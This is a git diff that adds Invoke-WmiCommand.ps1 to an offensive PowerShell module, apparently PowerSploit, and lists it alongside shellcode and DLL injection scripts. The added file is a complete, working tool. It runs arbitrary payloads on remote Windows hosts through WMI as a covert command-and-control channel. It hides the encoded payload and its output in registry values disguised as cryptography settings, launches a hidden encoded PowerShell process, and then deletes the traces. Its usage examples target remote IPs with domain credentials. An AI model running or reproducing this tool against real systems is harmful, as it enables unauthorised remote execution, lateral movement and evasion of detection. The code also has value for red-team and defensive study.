aboutsummaryrefslogtreecommitdiff
path: root/CodeExecution
diff options
context:
space:
mode:
Diffstat (limited to 'CodeExecution')
-rw-r--r--CodeExecution/CodeExecution.psd12
-rw-r--r--CodeExecution/Invoke-WmiCommand.ps1334
2 files changed, 335 insertions, 1 deletions
diff --git a/CodeExecution/CodeExecution.psd1 b/CodeExecution/CodeExecution.psd1
index b67cc9e..8dc5b75 100644
--- a/CodeExecution/CodeExecution.psd1
+++ b/CodeExecution/CodeExecution.psd1
@@ -74,7 +74,7 @@ ModuleList = @(@{ModuleName = 'CodeExecution'; ModuleVersion = '1.0.0.0'; GUID =
# List of all files packaged with this module
FileList = 'CodeExecution.psm1', 'CodeExecution.psd1', 'Invoke--Shellcode.ps1', 'Invoke-DllInjection.ps1',
- 'Invoke-ShellcodeMSIL.ps1', 'Invoke-ReflectivePEInjection.ps1', 'Usage.md'
+ 'Invoke-ShellcodeMSIL.ps1', 'Invoke-ReflectivePEInjection.ps1', 'Invoke-WmiCommand.ps1', 'Usage.md'
# Private data to pass to the module specified in RootModule/ModuleToProcess
# PrivateData = ''
diff --git a/CodeExecution/Invoke-WmiCommand.ps1 b/CodeExecution/Invoke-WmiCommand.ps1
new file mode 100644
index 0000000..6ee1e15
--- /dev/null
+++ b/CodeExecution/Invoke-WmiCommand.ps1
@@ -0,0 +1,334 @@
+#Requires -Version 2
+
+function Invoke-WmiCommand {
+<#
+.SYNOPSIS
+
+Executes a PowerShell ScriptBlock on a target computer using WMI as a
+pure C2 channel.
+
+Author: Matthew Graeber
+License: BSD 3-Clause
+Required Dependencies: None
+Optional Dependencies: None
+
+.DESCRIPTION
+
+Invoke-WmiCommand executes a PowerShell ScriptBlock on a target
+computer using WMI as a pure C2 channel. It does this by using the
+StdRegProv WMI registry provider methods to store a payload into a
+registry value. The command is then executed on the victim system and
+the output is stored in another registry value that is then retrieved
+remotely.
+
+.PARAMETER Payload
+
+Specifies the payload to be executed on the remote system.
+
+.PARAMETER RegistryKeyPath
+
+Specifies the registry key where the payload and payload output will
+be stored.
+
+.PARAMETER RegistryPayloadValueName
+
+Specifies the registry value name where the payload will be stored.
+
+.PARAMETER RegistryResultValueName
+
+Specifies the registry value name where the payload output will be
+stored.
+
+.PARAMETER ComputerName
+
+Runs the command on the specified computers. The default is the local
+computer.
+
+Type the NetBIOS name, an IP address, or a fully qualified domain
+name of one or more computers. To specify the local computer, type
+the computer name, a dot (.), or "localhost".
+
+This parameter does not rely on Windows PowerShell remoting. You can
+use the ComputerName parameter even if your computer is not
+configured to run remote commands.
+
+.PARAMETER Credential
+
+Specifies a user account that has permission to perform this action.
+The default is the current user. Type a user name, such as "User01",
+"Domain01\User01", or User@Contoso.com. Or, enter a PSCredential
+object, such as an object that is returned by the Get-Credential
+cmdlet. When you type a user name, you will be prompted for a
+password.
+
+.PARAMETER Impersonation
+
+Specifies the impersonation level to use. Valid values are:
+
+0: Default (Reads the local registry for the default impersonation level, which is usually set to "3: Impersonate".)
+
+1: Anonymous (Hides the credentials of the caller.)
+
+2: Identify (Allows objects to query the credentials of the caller.)
+
+3: Impersonate (Allows objects to use the credentials of the caller.)
+
+4: Delegate (Allows objects to permit other objects to use the credentials of the caller.)
+
+.PARAMETER Authentication
+
+Specifies the authentication level to be used with the WMI connection. Valid values are:
+
+-1: Unchanged
+
+0: Default
+
+1: None (No authentication in performed.)
+
+2: Connect (Authentication is performed only when the client establishes a relationship with the application.)
+
+3: Call (Authentication is performed only at the beginning of each call when the application receives the request.)
+
+4: Packet (Authentication is performed on all the data that is received from the client.)
+
+5: PacketIntegrity (All the data that is transferred between the client and the application is authenticated and verified.)
+
+6: PacketPrivacy (The properties of the other authentication levels are used, and all the data is encrypted.)
+
+.PARAMETER EnableAllPrivileges
+
+Enables all the privileges of the current user before the command
+makes the WMI call.
+
+.PARAMETER Authority
+
+Specifies the authority to use to authenticate the WMI connection.
+You can specify standard NTLM or Kerberos authentication. To use
+NTLM, set the authority setting to ntlmdomain:<DomainName>, where
+<DomainName> identifies a valid NTLM domain name. To use Kerberos,
+specify kerberos:<DomainName\ServerName>. You cannot include the
+authority setting when you connect to the local computer.
+
+.EXAMPLE
+
+PS C:\>Invoke-WmiCommand -Payload { if ($True) { 'Do Evil' } } -Credential 'TargetDomain\TargetUser' -ComputerName '10.10.1.1'
+
+.EXAMPLE
+
+PS C:\>$Hosts = Get-Content hostnames.txt
+PS C:\>$Payload = Get-Content payload.ps1
+PS C:\>$Credential = Get-Credential 'TargetDomain\TargetUser'
+PS C:\>$Hosts | Invoke-WmiCommand -Payload $Payload -Credential $Credential
+
+.EXAMPLE
+
+PS C:\>$Payload = Get-Content payload.ps1
+PS C:\>Invoke-WmiCommand -Payload $Payload -Credential 'TargetDomain\TargetUser' -ComputerName '10.10.1.1', '10.10.1.2'
+
+.EXAMPLE
+
+PS C:/>Invoke-WmiCommand -Payload { 1+3+2+1+1 } -RegistryHive HKEY_LOCAL_MACHINE -RegistryKeyPath 'SOFTWARE\testkey' -RegistryPayloadValueName 'testvalue' -RegistryResultValueName 'testresult' -ComputerName '10.10.1.1' -Credential 'TargetHost\Administrator' -Verbose
+
+.INPUTS
+
+System.String[]
+
+Accepts one or more host names/IP addresses over the pipeline.
+
+.OUTPUTS
+
+System.Management.Automation.PSObject
+
+Outputs a custom object consisting of the target computer name and
+the output of the command executed.
+
+.NOTES
+
+In order to receive the output from your payload, it must return
+actual objects. For example, Write-Host doesn't return objects
+rather, it writes directly to the console. If you're using
+Write-Host in your scripts though, you probably don't deserve to get
+the output of your payload back. :P
+#>
+
+ [CmdletBinding()]
+ Param (
+ [Parameter( Mandatory = $True )]
+ [ScriptBlock]
+ $Payload,
+
+ [String]
+ [ValidateSet( 'HKEY_LOCAL_MACHINE',
+ 'HKEY_CURRENT_USER',
+ 'HKEY_CLASSES_ROOT',
+ 'HKEY_USERS',
+ 'HKEY_CURRENT_CONFIG' )]
+ $RegistryHive = 'HKEY_CURRENT_USER',
+
+ [String]
+ [ValidateNotNullOrEmpty()]
+ $RegistryKeyPath = 'SOFTWARE\Microsoft\Cryptography\RNG',
+
+ [String]
+ [ValidateNotNullOrEmpty()]
+ $RegistryPayloadValueName = 'Seed',
+
+ [String]
+ [ValidateNotNullOrEmpty()]
+ $RegistryResultValueName = 'Value',
+
+ [Parameter( ValueFromPipeline = $True )]
+ [Alias('Cn')]
+ [String[]]
+ [ValidateNotNullOrEmpty()]
+ $ComputerName = 'localhost',
+
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential,
+
+ [Management.ImpersonationLevel]
+ $Impersonation,
+
+ [System.Management.AuthenticationLevel]
+ $Authentication,
+
+ [Switch]
+ $EnableAllPrivileges,
+
+ [String]
+ $Authority
+ )
+
+ BEGIN {
+ switch ($RegistryHive) {
+ 'HKEY_LOCAL_MACHINE' { $Hive = 2147483650 }
+ 'HKEY_CURRENT_USER' { $Hive = 2147483649 }
+ 'HKEY_CLASSES_ROOT' { $Hive = 2147483648 }
+ 'HKEY_USERS' { $Hive = 2147483651 }
+ 'HKEY_CURRENT_CONFIG' { $Hive = 2147483653 }
+ }
+
+ $WmiMethodArgs = @{}
+
+ # If additional WMI cmdlet properties were provided, proxy them to Invoke-WmiMethod
+ if ($PSBoundParameters['Credential']) { $WmiMethodArgs['Credential'] = $Credential }
+ if ($PSBoundParameters['Impersonation']) { $WmiMethodArgs['Impersonation'] = $Impersonation }
+ if ($PSBoundParameters['Authentication']) { $WmiMethodArgs['Authentication'] = $Authentication }
+ if ($PSBoundParameters['EnableAllPrivileges']) { $WmiMethodArgs['EnableAllPrivileges'] = $EnableAllPrivileges }
+ if ($PSBoundParameters['Authority']) { $WmiMethodArgs['Authority'] = $Authority }
+
+ $AccessPermissions = @{
+ KEY_QUERY_VALUE = 1
+ KEY_SET_VALUE = 2
+ KEY_CREATE_SUB_KEY = 4
+ KEY_CREATE = 32
+ DELETE = 65536
+ }
+
+ # These are all of the registry permissions we'll require
+ $RequiredPermissions = $AccessPermissions['KEY_QUERY_VALUE'] -bor
+ $AccessPermissions['KEY_SET_VALUE'] -bor
+ $AccessPermissions['KEY_CREATE_SUB_KEY'] -bor
+ $AccessPermissions['KEY_CREATE'] -bor
+ $AccessPermissions['DELETE']
+ }
+
+ PROCESS {
+ foreach ($Computer in $ComputerName) {
+ # Pass the individual computer name to Invoke-WmiMethod
+ $WmiMethodArgs['ComputerName'] = $Computer
+
+ Write-Verbose "[$Computer] Creating the following registry key: $RegistryHive\$RegistryKeyPath"
+ $Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'CreateKey' -ArgumentList $Hive, $RegistryKeyPath
+
+ if ($Result.ReturnValue -ne 0) {
+ throw "[$Computer] Unable to create the following registry key: $RegistryHive\$RegistryKeyPath"
+ }
+
+ Write-Verbose "[$Computer] Validating read/write/delete privileges for the following registry key: $RegistryHive\$RegistryKeyPath"
+ $Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'CheckAccess' -ArgumentList $Hive, $RegistryKeyPath, $RequiredPermissions
+
+ if (-not $Result.bGranted) {
+ throw "[$Computer] You do not have permission to perform all the registry operations necessary for Invoke-WmiCommand."
+ }
+
+ $EncodedPayload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($Payload))
+
+ Write-Verbose "[$Computer] Storing the payload into the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName"
+ $Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'SetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $EncodedPayload, $RegistryPayloadValueName
+
+ if ($Result.ReturnValue -ne 0) {
+ throw "[$Computer] Unable to store the payload in the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName"
+ }
+
+ # Prep the script runner payload from the remote system
+ $PayloadRunnerArgs = @"
+ `$Hive = '$Hive'
+ `$RegistryKeyPath = '$RegistryKeyPath'
+ `$RegistryPayloadValueName = '$RegistryPayloadValueName'
+ `$RegistryResultValueName = '$RegistryResultValueName'
+ `n
+"@
+
+ $RemotePayloadRunner = $PayloadRunnerArgs + {
+ $WmiMethodArgs = @{
+ Namespace = 'Root\default'
+ Class = 'StdRegProv'
+ }
+
+ $Result = Invoke-WmiMethod @WmiMethodArgs -Name 'GetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryPayloadValueName
+
+ if (($Result.ReturnValue -eq 0) -and ($Result.sValue)) {
+ $Payload = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($Result.sValue))
+
+ $SerilizedPayloadResult = Invoke-Expression ($Payload) | % {
+ [Management.Automation.PSSerializer]::Serialize($_, 4)
+ }
+
+ $null = Invoke-WmiMethod @WmiMethodArgs -Name 'SetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $SerilizedPayloadResult, $RegistryResultValueName
+ $null = Invoke-WmiMethod @WmiMethodArgs -Name 'DeleteValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryPayloadValueName
+ }
+ }
+
+ $Base64Payload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($RemotePayloadRunner))
+
+ $Cmdline = "powershell -WindowStyle Hidden -NoProfile -EncodedCommand $Base64Payload"
+
+ # Execute the payload runner on the remote system
+ $Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\cimv2' -Class 'Win32_Process' -Name 'Create' -ArgumentList $Cmdline
+
+ Start-Sleep -Seconds 5
+
+ if ($Result.ReturnValue -ne 0) {
+ throw "[$Computer] Unable execute payload stored within the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName"
+ }
+
+ Write-Verbose "[$Computer] Payload successfully executed from: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName"
+
+ $Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'GetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryResultValueName
+
+ if ($Result.ReturnValue -ne 0) {
+ throw "[$Computer] Unable retrieve the payload results from the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryResultValueName"
+ }
+
+ Write-Verbose "[$Computer] Payload results successfully retrieved from: $RegistryHive\$RegistryKeyPath\$RegistryResultValueName"
+
+ $SerilizedPayloadResult = $Result.sValue
+ $PayloadResult = [Management.Automation.PSSerializer]::Deserialize($SerilizedPayloadResult)
+
+ $FinalResult = New-Object PSObject -Property @{
+ PSComputerName = $Computer
+ PayloadOutput = $PayloadResult
+ }
+
+ Write-Verbose "[$Computer] Removing the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryResultValueName"
+ $null = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'DeleteValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryResultValueName
+
+ Write-Verbose "[$Computer] Removing the following registry key: $RegistryHive\$RegistryKeyPath"
+ $null = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'DeleteKey' -ArgumentList $Hive, $RegistryKeyPath
+
+ return $FinalResult
+ }
+ }
+}